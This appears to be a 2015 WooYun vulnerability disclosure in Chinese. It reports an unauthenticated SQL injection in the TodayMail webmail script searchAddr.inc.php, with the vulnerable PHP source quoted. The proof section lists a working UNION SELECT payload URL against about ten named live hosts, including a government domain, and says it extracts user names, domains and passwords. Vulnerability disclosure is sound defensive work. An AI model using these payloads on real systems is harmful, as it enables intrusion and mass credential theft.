当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125196

漏洞标题:TodayMail某处无需登陆的SQL注入可轻松导致大量企业邮箱帐号被脱裤

相关厂商:cncert国家互联网应急中心

漏洞作者: xfkxfk

提交时间:2015-07-09 17:15

修复时间:2015-10-08 16:42

公开时间:2015-10-08 16:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-09: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经确认,细节仅向厂商公开
2015-07-13: 细节向第三方安全合作伙伴开放
2015-09-03: 细节向核心白帽子及相关领域专家公开
2015-09-13: 细节向普通白帽子公开
2015-09-23: 细节向实习白帽子公开
2015-10-08: 细节向公众公开

简要描述:

TodayMail某处无需登陆的SQL注入可轻松导致大量企业邮箱帐号被脱裤

详细说明:

TodayMail,时代企业邮,简介如下:
http://www.now.cn/email/overview.net
搜索关键字:时代企业邮
案例很多,就不截图了
文件searchAddr.inc.php

<?
header('Content-Type:text/xml;charset=UTF-8');
include_once "../config/dbremote.inc.php";
include_once "../../core/emailcore.class.inc.php";
$value=trim($_REQUEST['value']);
$tm_id=trim($_REQUEST['ftm_id']);
$EmailCore = new EmailCore($tm_id);
$addrList=$EmailCore->searchAddrAllByKeyword($value);
$str="<?xml version=\"1.0\" encoding=\"UTF-8\"?><properties><property>";
$str.="<num>".count($addrList)."</num>";
for($i=0;$i<count($addrList);$i++){
$str.="<name".$i.">".$addrList[$i]['name']."</name".$i.">";
$str.="<email".$i.">".$addrList[$i]['email']."</email".$i.">";
}
$str.="</property></properties>";
echo $str;
?>


第一:
可以看到这里没有包含登录验证的文件,所以可以无需登录即可直接访问
然后$value=trim($_REQUEST['value']);
接着$addrList=$EmailCore->searchAddrAllByKeyword($value);
跟进函数searchAddrAllByKeyword,文件emailcore.class.inc.php

function searchAddrAllByKeyword($value){
//global $db_remote;
$addrArray=array();
$sql="select name,email from address where ftm_id='".$this->TMID."' and (name like '%$value%' or email like '%$value%')";
$rs=@$this->mysql->query($sql,$this->db_remote) or die($sql.mysql_error());
while($array=mysql_fetch_assoc($rs)){
$addrArray[]=$array;
}
$sql="select tm_name as name,tm_domain as email from todaymail where tm_domain='".$this->EmailInfo['tm_domain']."' and (tm_name like '%$value%' or tm_domain like '%$value%') and tm_status in (1,3) and tm_level <> '1' order by tm_name asc";
// echo $sql;
$rs=@$this->mysql->query($sql,$this->db_remote) or die($sql.mysql_error());
while($array=mysql_fetch_assoc($rs)){
$array['email']=$array['name']."@".$array['email'];
$addrArray[]=$array;
}
$sql="select name,email from mailcard where ftm_id='".$this->TMID."' and (name like '%$value%' or email like '%$value%')";
$rs=@$this->mysql->query($sql,$this->db_remote) or die($sql.mysql_error());
while($array=mysql_fetch_assoc($rs)){
$addrArray[]=$array;
}
return $addrArray;
}


清楚的看到变量$value直接进入select sql语句了,没有进行任何过滤处理,导致SQL注入漏洞产生。。。
这里是没有登录的直接拿到数据
可惜的是没有拿到服务器权限,而且通过域名看到,这里存在大量的企业。
以官网为例吧:

http://webmail.now.cn//webmail/main/searchAddr.inc.php?value=123%%27)%20union%20select%20concat(tm_name,%27@@@%27,tm_domain),tm_passwd%20from%20todaymail%20limit%200,1000%23&ftm_id=103361


通过这里的tm_domain域名字段,可以看到存在4000个域名

2.png


去重也存在3000多个域名,意味着有3000多个企业咯

漏洞证明:

以官网为例吧:

http://webmail.now.cn//webmail/main/searchAddr.inc.php?value=123%%27)%20union%20select%20concat(tm_name,0x23,tm_domain),tm_passwd%20from%20todaymail%20limit%200,1000%23&ftm_id=103361


这里读取了1000个用户的用户名,域名,密码

1.png


再随便给几个例子:

http://webmail.now.cn//webmail/main/searchAddr.inc.php?value=123%%27)%20union%20select%20concat(tm_name,0x23,tm_domain),tm_passwd%20from%20todaymail%20limit%200,1000%23&ftm_id=103361  
http://mail.wfq.gov.cn//webmail/main/searchAddr.inc.php?value=123%%27)%20union%20select%20concat(tm_name,0x23,tm_domain),tm_passwd%20from%20todaymail%20limit%200,1000%23&ftm_id=103361
http://streamline.com.cn/webmail/main/searchAddr.inc.php?value=123%%27)%20union%20select%20concat(tm_name,0x23,tm_domain),tm_passwd%20from%20todaymail%20limit%200,1000%23&ftm_id=103361
http://mail.inkbank.com.cn/webmail/main/searchAddr.inc.php?value=123%%27)%20union%20select%20concat(tm_name,0x23,tm_domain),tm_passwd%20from%20todaymail%20limit%200,1000%23&ftm_id=103361
http://mail.zhangjiang.net/webmail/main/searchAddr.inc.php?value=123%%27)%20union%20select%20concat(tm_name,0x23,tm_domain),tm_passwd%20from%20todaymail%20limit%200,1000%23&ftm_id=103361
http://mail.now.net.cn/webmail/main/searchAddr.inc.php?value=123%%27)%20union%20select%20concat(tm_name,0x23,tm_domain),tm_passwd%20from%20todaymail%20limit%200,1000%23&ftm_id=103361
http://mx601.now.net.cn/webmail/main/searchAddr.inc.php?value=123%%27)%20union%20select%20concat(tm_name,0x23,tm_domain),tm_passwd%20from%20todaymail%20limit%200,1000%23&ftm_id=103361
http://mx605.now.net.cn/webmail/main/searchAddr.inc.php?value=123%%27)%20union%20select%20concat(tm_name,0x23,tm_domain),tm_passwd%20from%20todaymail%20limit%200,1000%23&ftm_id=103361
http://mx606.now.net.cn/webmail/main/searchAddr.inc.php?value=123%%27)%20union%20select%20concat(tm_name,0x23,tm_domain),tm_passwd%20from%20todaymail%20limit%200,1000%23&ftm_id=103361
http://mx621.now.net.cn/webmail/main/searchAddr.inc.php?value=123%%27)%20union%20select%20concat(tm_name,0x23,tm_domain),tm_passwd%20from%20todaymail%20limit%200,1000%23&ftm_id=103361


而且数据库很多,邮件内容等都会泄漏的。
用户量很大,应该是高危漏洞,很多企业的邮箱系统基本上都会沦陷。

修复方案:

包含登录验证文件,过滤

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-07-10 16:40

厂商回复:

CNVD确认并复现所述情况,已经由CNVD通过网站公开联系方式(或以往建立的处置渠道)向网站管理单位(软件生产厂商)通报。

最新状态:

暂无